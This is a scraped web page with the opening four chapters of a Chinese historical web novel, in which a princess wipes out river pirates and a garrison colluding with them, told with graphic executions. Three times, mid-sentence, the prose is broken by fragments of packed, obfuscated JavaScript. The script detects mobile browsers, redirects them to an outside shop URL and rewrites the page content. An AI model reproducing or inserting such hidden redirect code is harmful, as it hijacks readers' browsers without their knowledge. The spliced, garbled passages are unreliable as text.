《又闻春深几许》 1. 州境密林 第一章州境密林 宁州州城宁安城，宁王府。 家令洛有成步履匆匆的走在抄手回廊上，袍子一角沾着一小片雨水湿痕，显然刚从什么地方赶过来。 一路上听手下的小子回话，这才知晓老王爷在栖云堂，洛有成脚步一转，又往王爷的燕居之所去了。 “王爷。”见到老王爷，洛有成深深行了一礼。 宁王爷见他这般，便知不是什么好事，用鼻子冷哼了一声，颇有些无奈的道：“说吧，那丫头又干什么去了？” 洛家令躬着身子，一礼行得更深了。 此时远在宁州州境边缘的一处密林里，百余骑快马渐渐聚拢在一处，瓢泼的大雨依旧一刻不停歇，在树木枝叶的遮映下，勉强显得小了些。 “郡主。”马背上的一人踢马靠近队伍的中心，递过去一只水囊，说话时声音清脆，当是个年轻女子。 薛明德将斗笠微微掀起，露出一张俏丽脸孔，年岁尚轻，瞳仁雪亮，眼角眉梢带着几分不加掩饰的锋芒。 她摇摇头，从自己马背上的背夹里取出水囊，示意还有，抿一口，随手又塞回了背夹里。 观棋也不言语，微微点头，自顾饮水休整。 这时虽在密林之中，众人却依旧围成了扇形，错落中将主子护在中间。 “如何？”薛明德骑在马背上，甚是随意的问道。 身旁一个机灵小子拱了拱手，“幸不辱命，都查清楚了，确实是那股子水盗，杀人越货，背着不知多少条人命。” 薛明德道：“上月月初时在清伦河上抢劫我宁州商船的可是他们？” “是他们。这伙水盗不在凉山附近动作，专挑我宁州、一旁忻州等处水域的商船下手。一旦得手，四散逃脱，三不五月的才陆续回来，谁都难猜着这凉山上种菜种地的民户竟然是水盗。”机灵小子许孟然回道。 “盗贼大约有多少人？” 许孟然回道：“不下三百。个个刀头舐血。为首的姓战，叫战勇。烧杀掳掠，无恶不作。” 薛明德语气冷淡：“既如此，纵杀了也是死有余辜。” 一行人中，侍卫长周焐的年纪略长，听得这话眉头皱起来，却还是提了句：“郡主，这凉山虽近在迟尺，可已是平亲王的辖内……” “哦。我那沽名钓誉的堂叔啊。”薛明德将马鞭手柄轻轻打在左手手心，漫不经心的说道。 想起平亲王作为，旁边几个亲卫都忍不住笑了下。 周焐摸了摸鼻子。 “倒也不好师出无名。”薛明德往着凉山的方向思量片刻，忽而冲许孟然道：“要么你当一次水匪？” 许孟然一愣：“啊？” 如注的暴雨完全不顾人间死活，噼里啪啦下个不停。天色阴沉沉的，实在难以分辨到了什么时辰，好在月令尚在盛夏，也不觉得有多冷。 观棋撑开一把桐油伞，薛明德在伞下吃了半块软饼，又喝了些水，其余人只借着乔木枝叶的遮映将就着吃了些干粮。略做休息后，许孟然和同伴换了身寻常装束，一齐冲着宣诚郡主拱了拱手，戴着斗笠便离开了密林小道。 薛明德等他们跑得几乎没影了，才抬了抬手，喝道：“追！” 百余骑侍卫亲军轰然领命，手握缰绳，纷纷追了上去。 密林与凉山本就是两州分界，许孟然才奔出林子，就听到了身后的马蹄声，俩人做戏做全，回头看了一眼，一边怒骂一边惊叫着冲上凉山。 两个人恨不得跑出风火轮，耳里听着马蹄声越来越近，俩人对了个眼色，也不管山上有没有路，分头往那有屋子的地方窜去了。 他们快，骑兵们更快，到得山脚分了几个人把守路口，其余人一路寻着他们的身影，跟着跑了过去。 许孟然看人都上了山，在僻静地方将身上衣服一脱随手卷了卷，露出里头玄色劲装，又是个年少有为的王府亲卫了！ 一群人转过层叠的灌木，忽见个矮小汉子从旁过来，手里举着把木棍，像是要来喝问他们，可看他们个个身形高壮，自己先怂了，白着脸转身就跑。 这倒方便了薛明德，挥一挥手往这人跑的方向曲折而上，过不多时就看到了好几排屋子。 屋子里的人约莫都听到了动静，飞快的窜出来一大群人，高矮胖瘦，多半都是农人打扮，上来用着俚语叫骂了几句，见着都是外人上山连问都不问了，手里举着各色兵刃甚至农具，人多势众的拥了上来。 宁王府的亲卫们一看这架势自然也上手了，周焐几个守在郡主身边，佩刀连削带砍，压根不让他们近前。 薛明德拧着眉只看了几眼，绕开这伙人往后头的屋子走。水匪们自顾不暇，纵有一两个想拦的也被周焐一脚踹飞了。 后排的屋子果然比前排的整齐不少，更高些的地方还带着院子。薛明德径直往中间修整得最大朝向最好的院子走。 这宅院还挺大，正屋有三间。到得院门，薛明德还要往里走，周焐不放心，请示让手下儿郎先去探一探。 薛明德笑着举步，“这时候还没动静，要么是个鼠辈，要么屋里没人。”说着已走到屋前，伸手推门，一边言道：“当得了水匪自然不是个没胆的。我猜，这屋里压根就没有人。” 话音落地，房门被吱呀推开，屋子里头果然静悄悄的。薛明德向许孟然示意了下，许孟然点头，带着人分头去找金库和账房。 薛明德信步往里走，这屋子还有后院，她望了眼跟漏掉似的天空，说道：“粮仓也别落下。” 跟在她身边的观棋应了一句，自有人领命去办了。 两进的屋舍不算大，亲卫们又都是时常跟着郡主出门闯祸的，啊不是，出门闯荡的，很快就找着了金库，是建在卧室底下的一个小地窖，许孟然领着人乒乒乓乓一顿砸，才撬开了。 外头一边是杀声喊声，一边是一小队人马，纷纷来报，库房和粮仓都找着了。薛明德随口应着，一面饶有兴致的站在地窖旁看几个亲卫搬箱子，箱子二尺见方，里边是码好的银锭子，也有小箱的金条和珠宝。 队正李牧山解下背上的背囊，取出一早准备好的王府封条，一箱一箱都给封上。 此时一个亲卫跑了进来，脸色有点怪，拱着手禀道：“郡主。” 薛明德问怎么了？ 亲卫回道：“发现了一屋子女眷……” 一屋子？女眷？ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980611|193566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >薛明德皱了皱眉。 想到这是水匪窝，又没什么好意外的了。 她举步走了出去。 水匪对官兵，没什么悬念，这一阵过去，厮杀已经差不多了。泥地里横七竖八的躺了几个贼子，都在哼哼，更多的给缚了双手，一串儿跪地上，多半挂了彩。 薛明德只看了一眼，就道：“不是说有三百号人吗？怎么就这些个？” 说着也不停，一路还是走。 之前来报的亲卫带路，不一会就走到了个屋子前。 房门虚掩着，里头却安安静静，不闻一点人声。 守在门前的侍卫见着郡主到来，恭敬的退开半步。 薛明德抬起手，推开了门。 这一瞬间，她便知道，何以来报的亲卫脸色那般怪异又带着愤慨，何以门前还安排了一个侍卫。 小小一间屋子，左右两张通铺，铺上十余个女子皆是衣不蔽体，脸上身上数不清的淤痕和血迹，几床脏得看不出颜色的被褥，乱七八糟的遮在身前，听到房门的动静，甚至没有人转过头来。 一个个，都像死人一般。 薛明德捏了捏手指。 观棋是护着郡主过来的，也防屋里有歹人暗算，一眼看见屋里情形，气得眼睛都红了。郡主没说话，她只得按住手边刀柄，略微别开了头。 偏生这时候，外头又喧哗了起来，刚留在外边重新清点贼匪人数的周焐走了过来，旁边还跟着一队人，押着几个看着像是小头目的人。 其中一个还穿了件绸衫，放在这一群青衣褐服里，就尤其显眼了。 绸衫男子也没想到今天会有外人上山，而且还是有来头的，不是官就是兵，他心里只得自认一声“晦气”，赔了笑脸装作不懂的问：“不知诸位是哪一路的英雄，我们本本分分的在这山里开荒，是没来得及给诸位大人交上茶酒钱么？” “你是谋士。” 薛明德反手关了门，隔绝了屋里屋外。 绸衫男子看清楚是哪座屋子，脸上不免露出些猥琐笑容。被押着跪在地上的几个人忽然见着个俏丽非凡的女子走到面前，都稍稍愣了下，眼珠子里流淌出几分惯性的贪婪。 观棋是直面看着的，气得一脚就踹在绸衫男子身上，喝道：“答话！” 绸衫男子“诶哟”一声歪倒在地，又被押着跪住了，心道哪来个凶神似的小娘们，一面答道：“不过略识得几个字，给他们种地的看看时节，哪谈得上什么……” “战勇在何处？”薛明德打断了他的话。 直到这时，绸衫男子的眼神才认真起来，望着薛明德，眼珠子转了一圈，问道：“战勇是谁？”又转头看看左右：“我们山上有这么号人吗？” 跪着的众人都说不知。 薛明德眸色冷淡的低眄着他。 绸衫男子歪着头：“贵人莫不是找错地方了？” 薛明德就手抽//出了随身的佩刀。 雨水落在脸上，绸衫男子脸色沉了点，已做好了被严刑逼供的准备。 薛明德一手揪住他的发髻，右手短刀横扫。 男子的脖子像脆弱的豆腐。 直接给割断了喉咙。 2. 荆山兵营 第二章 荆山兵营 半山腰还是有风的。雨一刻不停，给山风吹着，斜斜的落在人身上。可全场都像静默了下。 薛明德松开手。 绸衫男子的瞪着她，眼睛突了出来，血顺着衣裳染红了一大片，很快又给雨水冲往地面。乍一看血流成河了。 几个被押着跪在地上的“庄稼汉子”忽然都抖了起来。杀人越货他们做得多了，可这一刻眼睁睁的看着“军师”给人干掉了，命就捏在旁人的手上，恐惧第一次这么直观的降临。 这女子这般好看，转眼就跟个地狱修罗似的，甚至不给他们再辩驳一下的机会。 薛明德眸光转了过来，落在已然倒地不起的绸衫男子的身侧。 侧旁跪着的男子身上有点抖，可意气也冲着头，壮胆般扯了嗓子：“要杀就杀！老子……” 哦，后边的话没机会说了。 薛明德的刀并不慢。又一块豆腐被切开了。 这人大概气血足，血跟喷出来似的。薛明德皱着眉，有些嫌弃。 眼看着她的目光要落到第三个人身上了，那人飞快的叫了起来：“我说我说。大人，战勇是我们头领！” “人呢？” “呃。” 薛明德提着刀，脑袋略歪了下，看着他。 刀尖往下，还滴着血。 男人禁不住全身都抖了下，磕磕绊绊的说道：“他，他往玉砂江去了。” “玉砂江？”薛明德眉心微蹙，带了点儿疑惑，“冲着运粮船去的？就凭你们这两三百号人？” 男人又迟疑了。 等了这一瞬，薛明德就想明白了。她的语气更冷了些：“买通了州县的驻军？” 不曾想她反应这般快，地上几个跪着的人都白了脸。 薛明德冷笑着数过去：“樟阳县？曹县？总不至于是……贺枝府？” “说啊！”按着男子的侍卫随手给了他一下。 男子脑袋一偏，旁边居然有人抢答了。 “大人！是曹县的官兵！我们老大说和那头都说好了，粮食我们只拿很少的一点。大头的都孝敬他们校尉，只求官兵们往后睁只眼闭只眼。真的，我都听到了。”抢答的男子穿了件褐色短衣，哭着道：“我本是山下农户，被他们抓来伺弄农田，我说的都是真的，大人。” “他们何时出发的？” 褐衣男子抹了一把脸回道：“就，就今儿个早上，天一亮就下山了。” 薛明德不再管他们，转身就走。 观棋几人都追了上来。 薛明德边走边吩咐：“周焐随我去荆山营，许孟然将人押解回州城，抄没的东西随车。观棋跟他们回去，将那些女子安排好。”说着她脚步略顿了下，表情稍稍温和了些，续道：“先养一养伤。愿意回家的给盘缠让她们回去，不愿意回去的也给些银两，许她们在州城寻条生路吧。” “是。”众人应了，纷纷拱手领命。 周焐走到开阔地，点了二十人，跟着郡主，飞快的往山腰驻马处走。许孟然和观棋领着余下的人留下善后。 比起荆山营，贺枝府处驻扎的兵营当然更近些。但曹县都和水匪勾结了，贺枝府未必没有内鬼。 周焐恨恨的想着，平亲王殿下的管辖，真是烂透了。 雨天实在道路难行，饶是尽了力，薛明德一行人也花了一天有余，才回到了宁州辖内的荆山营。 荆山营的校尉叫陈宥。彼时陈校尉正在用饭，听到亲兵来报，都给吓了一跳。 “这祖宗，怎么跑这儿来了。”说着饭也不吃了，扔了筷箸就大步往外走。 亲兵忙取了斗笠，他接过来戴上，走到了大门口，听巡守赶回来的人说郡主还远呢，刚过了哨卡。又让人牵了马过来，带几个人，亲自迎了出去。 跑不到二里地，见着官路上一小队人，待得更近些，果然是一众王府亲卫护着宣诚郡主飞驰而来。 陈校尉眯着眼睛，来人不多，应该不是王府里出了大事。况且真出了事，郡主肯定找卫将军去了，不至于来到他这山旮旯。 他放下心来。 军中一切从简。陈校尉带着人在路旁给郡主抱拳行礼，又一齐上马。有什么事，总得找个能挡雨的地方再详谈。 到了荆山营，陈宥在前头带路，将郡主请到营中大帐。 所谓大帐当然只是个名称。荆山营是荆山县里常驻的军营，营地驻扎在县郊，不远处还有营田，是以营里的屋子建得挺正式，旁的不说，冬日里抗风夏日里遮阳，还是绰绰有余的。 薛明德只带了周焐，又指着其他人道：“一路急行，你让人先给他们弄些吃的。” “郡主放心。热饭热水都有。”陈宥一面说着，一面点了个人，带着这些亲卫们去修整，自己推开营地里议事堂大门，退开半步，再说了句：“郡主请。” 议事堂里陈设简单，陈校尉请郡主殿下上首坐了，听她说一句：“坐”，才好在下首坐了下来。周焐依旧在郡主身后侧旁的位置站着，手按刀柄，做戒备状，并不坐下。 营地里没有丫鬟，一个亲兵进来奉了热茶，又很懂规矩的退出门去。 薛明德缓了这一刻，心里又有了一番计较，没有前日里刚得知事情时那般着急了。她慢慢的饮了一口茶，将凉山上水匪供出的消息说了。 陈校尉差点从椅子上蹦起来，“和贼子一道抢运粮船？曹县老毕是失心疯了吗！”不怪他咋呼，附近几个县、府的兵营的将官们彼此都认识，多会互通有无，早听说毕校尉贪财，可勾连匪患——这也太离谱了！ 但看郡主并不像很紧张的样子，陈校尉有些奇怪，这不是大事吗？一边激动，却也缓缓又坐下了。 薛明德看他坐稳，才道：“你领一队人马，与我去剿灭了他们便是。” 陈校尉道：“是。只是荆山营只有兵马八百，按律不可尽出，是不是请卫将军也一道发兵？” “不必。”薛明德道：“你带五百人即可。”她说着往屋外望了一眼，大门开着，雨幕连成了线，她道：“选精壮的兵士，这气候，别把我们自己人给累病了。” “郡主都不辞辛苦，这些皮猴们又哪里会累着？”陈校尉说着起身：“末将这就去准备。是今日就出发吗？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980612|193566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 薛明德道：“天色将晚，今日还是养精蓄锐，明天一早出发。” “末将领命。”陈校尉拱了拱手，又道：“客舍已备好，膳食都已吩咐下去了。军营简陋，请郡主不要见怪才好。” 薛明德也起身往外走，一面摆手道：“我是第一回来荆山营吗？这样文绉绉的可不像你。” 陈校尉哈哈大笑，跟着走出门，点选兵马去了。 从议事堂出来，有亲兵递上桐油伞，又在前边引路。 观棋不在身边，薛明德并不用周焐，自己打了伞，在雨中款步而行。 走了几步，周焐忍不住劝道：“郡主，凉山离着玉砂江虽有两三日路程，可我们在路上已经耽搁了一些时候，贼人们出发得更早，再等明日恐怕……” 薛明德的脚步停了下来，说的却是另一件事：“周焐，邱泽擅自离队，是你让他悄悄回去给祖父报信了吧？” 周焐脸色一顿，说道：“我……老王爷他是担心……” 薛明德道：“你年纪比我大，跟随祖父也有不少时日。” 周焐正等着谦虚几句，却听郡主话锋一转，略显了严厉的说道： “祖父让你跟在我身边，是让你护我周全，不是让你干涉我的决定！你若有本事，可去与祖父说你要指点我，但你若想对我指指点点，你还没有这个资格！” 周焐给说得刷的一下苍白了脸，立时跪在了雨地里，“属下……属下知错。请郡主责罚。郡主息怒。” 前头引路的小兵都给吓着了，哆哆嗦嗦的傻站在那，心道：我的妈，这是怎么了？郡主殿下那么吓人的吗？ 薛明德眼风微扫，淡淡道：“周焐对孤不敬，罚二十军棍，先记在账上，回到王府你自去领罚。” 周焐心里松了半口气，还有半口悬着，连忙回道：“属下遵命！” 说罢起身，护送郡主回客舍，恭敬的表情比先前更真诚了。 这一晚各自休息，王府亲卫们连日奔波，终于能吃个热饭再睡个好觉，第二天起来神清气爽。 养马费钱，五百兵士并非都是骑兵，好在行军速度也不慢，几天后渐渐进了平亲王辖内的平洲境。 离玉砂江尚有十多里的时候，陈宥派出去打探消息的斥候回来了。 运粮的船队还在玉砂江畔，但离着岸边有些距离。江岸给冲上来几具尸体，想来双方人马互有死伤，好在粮食还没被抢走。斥候不敢靠太近，怕打草惊蛇。 “敌方在江边一里地结营，看情形也有五百之众。”斥候回道。 薛明德随口说句“好”。 陈校尉向郡主请示是否现在就进攻，再等下去天色就要暗了。 薛明德笑了下，摇头道：“天色还不够暗。” 陈校尉一愣。 薛明德又道：“急行军辛苦，让兵士们暂做修整，填饱肚子。一个时辰后出发。” 陈校尉明白过来，点头应“是”。 天色擦黑的时候，荆山营五百军士又行进了十余里。 滔滔江水在大雨中惊涛拍岸。凉山水匪和曹县兵丁扎下的营地，已近在眼前。 3. 远来是客 第三章远来是客 今春这场雨下得蹊跷，从三月中到六月初，整整下了三个月，竟还没有要停的意思。 曹县的官兵们缩在营帐里，地上的水汽蔓了上来，铺盖都潮得厉害。又不能不睡，一个个都灰头土脸的。受了伤的人忍不住哀嚎哭泣，沮丧的情绪蔓延了整个营地。 一队运粮船，在江道里被大雨困了那么久，只道至多三天就能拿下，不曾想竟耽搁了四五日，眼看带出来的军粮都快见底了，人又给雨水泡着，也不知病倒了多少。 士兵们怨声载道，巡夜的值守就更苦了，穿着蓑衣冒着雨，想打瞌睡却连个挨靠的地方都没有。 天还没完全暗下去，可大雨迷蒙了眼，他只觉得困顿又疲倦。揉了揉眼睛，仿佛看到什么东西挨过来了。咦？他再揉了揉眼，手还来不及放下，一直利箭，当胸射穿了布甲蓑衣！ “有敌袭！有敌袭！” 曹县营地里有人惊叫出声，另一头巡守的人赶紧敲响了手里的锣，士兵们纷纷从营帐中钻出，许多人连鞋子都没来得及穿上，谁能想到在自家王爷的辖域里还能遇上敌袭啊？ 可是箭雨已经落了下来了。 营地中惨叫声哭嚎声，顿时乱成一片。 四面杀声震天，大雨中也不知有多少人围攻过来，更不知来的是哪一路人马。 曹县军营里的人心一瞬间就散了。 运粮船上的官吏们早已留心到这头动静，好几个人站在船头凝神去看，手扒着舷边围栏，脖子伸得老长，乍一看就跟一群小动物似的。 “小动物”们的小头目王箬横也站在船头上，他将斗笠都扔在了一边，眼睛努力的瞪大，想看清这一次来的人是敌是友。他是此行的押粮官，这一批粮草要经运河调往陪都，途经玉砂江，不料大雨连绵，江水暴涨，他们被困在这里了。 “大人。” “大人。。” 同行的还有几个年轻吏员，此时跟在王大人身边，时不时的叫唤两声，显得很紧张。 王箬横给他们烦死了。 “大人。”这回过来的是副官李淇，语气里有几分振奋：“大人您看后边来的这一队兵马，是来搭救我们的吗？” 王箬横没有他这般乐观，面带忧愁的道：“我只怕是螳螂捕蝉——我们是蝉。” 岸边的战事并没有持续多久，天还没亮，胜负已决。 薛明德令陈校尉收拾战场清点俘虏，自己骑了马跑到玉砂江江岸。 沿着江岸泊有几支尖头小艇，都拉高了用木桩驻在岸上，想必是水匪们用来冲击运粮船的。隔着一程短短水路，船队停靠在不远处，扶栏边明显有人，只是看不清是谁。 薛明德没有在夜色里贸然做出旁的举动，她只静静的立了一刻，又驳转马头，踢马跑回了战事营地。 运粮船上一众人面面相觑，不知该如何是好。 待到天明，王大人做了决定。 他让李副官留守船上，自己带了两个吏员并一个划船的水手乘小艇往岸边看看情况。李副官求他多带几个船工运夫，以充作护卫。 王箬横苦笑道：“真要收拾我们，我就把这一船的人都带下去也没有用。” 李副官垂下了头。 王箬横又道：“若我回不来，你们请即启程，这大江波涛，他们没有大船，未必扛得住风浪。我们这么多艘船，总有人能挣到下一处渡口。届时再设法找当地属官求援。” 李副官一一应下了。 王箬横怀着悲壮的心情，从浮梯下来，登上了随船小舰。 水手划着小舰到了岸边，王箬横带着两员小吏都从舰上下来，内心忐忑难安。 并没有人围上来攻击他们，也可能是还没有发现？ 王箬横咬着牙，一步步往前走，还没走到半程，小吏突然道：“大人，好香！” 香？ 王箬横愣了下。 还真是。这荒郊野地的，大江岸边，居然闻到了一股子食物的香气。莫非…… 王箬横的肚子“咕咕咕”叫了几声。 他猜得没错，荆山营的火头兵们正是在做早饭呢。 巡营的兵丁早就发现了他们，是郡主殿下吩咐不必多理会，等他们走得近了，才上去盘问，又引了他们过来。 营地里用树枝树叶撑起来几座简易的“伞”，伞下立着几口大锅，锅底有燃着的柴火，锅里有咕嘟咕嘟冒着热气的早饭。 一个小吏不争气的咽了下口水。 不是运粮船上没东西吃，实在这几日打打杀杀，从昨晚到现在，大家的心都悬着，不知这是不是又来一股新的水匪。命都快没了，自然也没怎么吃得下东西。 陈校尉正看着手下们煮肉。一夜厮杀收拾了曹县兵丁，郡主说他们既和水匪同流合污那自然也都要一同处置，将他们余下的粮食全都搬了出来，全营的人都吃顿好的。 郡主殿下真是好殿下啊。 陈校尉呲着大白牙想。 这时候王箬横已看明白这是官兵了，心里很高兴，见着陈校尉，又是亲切又是感激，就要拜谢他解围之恩。 陈校尉连忙扶着他，给他说自个儿只是奉命行事，又领他去拜见郡主殿下。 王箬横完全没想到这儿还有一位宁王府的宣诚郡主，她还带人解了运粮船队的围困，甚至可以说，她救了他们的命！ 王箬横的脚步飘忽忽的，被陈校尉领到了大帐前。 郡主殿下没摆什么架子，受了他的大礼，又听他备述了为什么会被困在这里，也问了两句船上还有什么人。 到得听他说接下来想就停泊在玉砂江畔，等着风雨过去，再行启程。 郡主殿下问他：“风雨何时会过去？” 王箬横张张嘴，答不上来。 郡主殿下又问：“再有匪患相扰，王大人预备怎么办？” 王箬横想了一会，说道：“此处当是曹县地界，下官预备到县衙求救，请曹县兵营派出人手多往此处巡查，以解水匪之患。”不是他不想求郡主扶挟，实在这是平洲境，归平亲王管，郡主殿下路过能顺手救他们一回，已够让人感恩戴德了。 谁能想到郡主殿下并非路过呢。 “曹县兵营？”郡主殿下挑了挑眉。 王箬横不知其意，略有些求救的望向陈校尉。 陈校尉用一种看傻子一样的眼光看着他。 王箬横：？ 薛明德轻轻一笑，指着外头道：“陈校尉，你领王大人去看一看曹县的官兵们吧。” 王箬横：？？？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980613|193566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈校尉抱拳：“是。” 营地的一旁划了片地，里头或蹲或坐不下数百人。有几个像是小头目的，都给捆了单独蹲在一边，周围有弓箭手伺候着，谁不老实，陈校尉也不介意杀一儆百。 王箬横一脸茫然的被带过来，看到那一地人，依稀有几个他还记得，是这几日截杀运粮船冲在前头的家伙。 陈校尉按着刀柄指了指：“挪。你要求援的曹县官兵。” 王若琳：“啊？” 陈校尉走过去，往一个脸上崩着血的男人踢了一脚，男子本就蹲着，给他踹得滚在了地上，一脸血的回过头来，眼睛里还带着凶气。 陈校尉不惯着他，上去又踹了一脚，才说道：“战勇。水匪头子。你们这两天给他杀了不少人吧。” 王大人眼眶一下子红了，也不知是气的还是难过的，他也想踹那水匪头子两脚呢。 陈校尉又指着旁边和战勇一道蹲着的两个男人：“百夫长，还有一个，在死人堆那边。他们穿着寻常百姓的衣服是吧，可你要去看营帐。这里的营帐，一大半都是曹县兵营的。”陈校尉转过头来看着王箬横：“王大人，你看明白了吗？” 王箬横脑子里混沌了好一会，才把弯转过来，这下他眼睛更红了，里头都是愤怒和不解。 “这群……”小镇读书人王大人顿了下，还是狠狠的骂道：“这群败类！” 陈校尉又把王大人领回了大帐前。可门前侍卫说郡主在歇息，任何人不得打扰。陈校尉只得把王大人和两位吏员往回送，边走边说，“昨儿个忙了一宿呢。郡主殿下亲自来我们荆山营，我们才知道你们被围困了，又赶着过来，才把这一群勾结水匪的贼皮拿下。” 王箬横连连行礼，要拜谢大恩。 陈校尉大咧咧的硬扶了他，到底没让他的腰弯到底。 陈校尉只把他们送到营地边上，什么都没说，转身回去了。营里早做好了饭菜，赶着回去还能吃上口热乎的。 王箬横带着两个小吏踱步往岸边走，小吏们见他走得踌躇，相互对望了几眼，并不敢问。 小艇很快又划回了运粮船边，船工们放下浮梯，将官吏三人拉扯上来。 李副官在甲板上团团转，见着王大人回来，忙挨到栏杆边扶了他上来，关切的问：“大人此行可顺利，那边……是来救我们的吗？” 王箬横望着眼巴巴看着他的副官，以及关切的望着这头的一众人，忽而跺跺脚，下定了决心。 “李副官，有个事，我与你商量商量。” 李淇眨眨眼。王大人说是商量，可语气已经很坚定了啊。 营地这头，荆山营的兵士们吃饱喝足歇了小半天，养回些力气。营里做午饭的时候，陈校尉来求见郡主殿下。 “郡主。”陈校尉行了礼，言道：“不知郡主想何时启程回宁州？若要拔营，我等先做准备。” 主要是这雨下得泼天泼地的，扎了营也休息不好。还有些弟兄受了伤，赶回去兴许还能救一救。 薛明德也没打算久留，这里毕竟是平亲王辖内，耽搁下去对谁都没有好处。 她点头道：“先收拾东西，再等一等我们的客人。” “客人？”陈校尉满脸疑惑。 薛明德笑笑，“不会让校尉久等的。” 4. 宁州王府 第四章宁州王府 郡主殿下说的没错。算算时辰还在晌午呢，巡守的兵丁来报，那王大人又来了。 这回王箬横把李淇也薅了来，还带着船夫押着两车礼物，大多是米粮，还有一些肉，难为他们从船上吊下来。 陈校尉挠挠头，将油布遮着的两车礼物留在外头，把他们又引到大帐去。 等见着了宣诚郡主，王箬横拉着李淇纳头便拜，说是来报答郡主殿下的救命之恩。 寒暄了好一阵，王箬横才说出了来意。他们这船队，寻常运粮还好，小股的水匪也不敢来劫他们，可如今滞留江上，实在没什么自保的能力，只得来求郡主殿下容留一二。 “愿以两船粮食为报。”见郡主殿下迟迟没说话，王箬横心一狠，总要留得性命才能图将来。 薛明德按了按额头，无语的道：“我要你那两船粮食做什么？” 要拿就拿全部啊！ 王箬横不知郡主心中所想，只当她不肯沾这麻烦事，连忙回道：“是是是。是江上风大雨急，将两艘船掀翻。粮食都沉到江底去了。” 陈校尉瞪大眼睛：……原来还可以这样。 李副官也懵了：不是商量好的一船粮食吗…… 薛明德叹了口气：“罢了。此处不在宁州，你们总要设法到宁州境，再来谈容留。” 王箬横和李淇对望一眼。玉砂江流域宽广，从曹县到宁州最近的仓湾码头，水路大约得走一日。但这大风大雨，真是让人难以抉择。 薛明德索性说开：“曹县兵马久不回营，必有人过来查探，你们速做决定吧。” 李淇想起这几日的经历，腿又开始发软了，连忙向王大人投去祈求的目光。王箬横也怕，狠下心道：“我等回去做下准备，明日一早就开船往宁州仓湾港。”说着和李淇深深拜下去：“万望郡主容留。” 至于风大雨大，那只能生死有命了！ 等王箬横和李淇告辞离开，陈校尉才道：“那个……郡主殿下，王大人他们拉来了两车礼物，说是送给您的。” 薛明德哪会在意这些个东西呢，随口道：“那是慰劳将士们的。” 陈校尉大喜，立即搓搓手道谢。 “这次清缴水匪，大家都有功劳。回到营里，你自己报上来。” 陈校尉点头如捣蒜。 薛明德又道：“明天一早就出发回宁州。你去和周焐也说一声，大伙儿都早做准备。” “是。”陈校尉领命去了，走到门前，突然又想起来，回头问道：“殿下，那曹县的兵丁怎么处置？” 薛明德扫他一眼：“哪来的曹县兵丁？我们抓的不都是水匪吗？” 既然是匪，按着惯例，当然都拉回去做苦力啊。 陈校尉醍醐灌顶，高高兴兴的“诶”了一声，退出大帐。一边走还一边盘算，那七八个贼头肯定是拉回州城问罪的，余下那些不知能给荆山营留下多少，有几十个力工也是好的。还有收缴回来的盾牌武器，又可以充实兵库啦！ 过不几日，五百兵马连同三百多俘虏进了宁州境，薛明德让陈校尉带着人回荆山营，自己在途中略歇了一日，又领着二十余王府亲卫，快马回州城宁安府，只留下一个深谙水性的少年，悄悄辞别了郡主，一个人绕路往仓湾府去了。 运粮船一行走的是水路，隔天就到了仓湾府。江上历经生死，到达仓湾港时人人心道侥幸。将船都泊在了码头边上，王箬横使人往仓湾府投拜贴，说明了暂停在此处是得了郡主殿下的庇护，还奉上了一封宣诚郡主的手书。 仓湾府的府尹姓廖，是个五十来岁的矍铄老头。廖府尹年过半百官场沉浮，经历的事情多了自然也有自己一番精明，听得是郡主殿下费劲巴拉的救了他们，又允他们来宁州投靠，廖府尹的心思立时就转了起来。 待得送走王大人，廖府尹在书房踱了几圈步，让人叫来了府衙仓曹，嘱咐他将粮仓库房清点收拾。 仓曹叹气道：“上覆府君，粮仓是重中之重，下官从不敢懈怠，只是今年已定是个灾年了，暴雨连旬，秋粮恐怕收不上多少啊。” 廖府尹也叹气，他何尝不知道呢。别说上缴的税粮了，只怕是百姓们的饭碗都要端不起了。 “先收拾着。不要声张，也不要怠慢。”他拍了拍仓曹的肩膀。 薛明德回到宁安府时，六月都过半了。才进了城，守城门将就指了个人，飞马传讯回去报给了宁王府，府令大喜过望，又小跑着去告诉老王爷。 宁王用鼻子哼了一声，“哼，还知道回来。” 前有周焐安排了邱泽回来报信，后有许孟然和观棋押着一众水匪和受伤女子回来，宁王已知道了原委，这事儿倒不能很怪孩子，可她打了凉山不够，还带着人去玉砂江！ 平亲王那货是好惹的吗？ 君子不立危墙之下，她倒好，亲身犯险！这丫头怎么就这么不听话呢！ 宁王头疼。决定等孙女儿回来了要好好教训教训她。 薛明德给迎进了宁王府，二管家提着伞在门上等她，一见着人，连忙把伞撑开。 “郡主殿下，您可回来了。”二管家恭敬的道：“您一路可好。王爷在一心斋等您呢。” 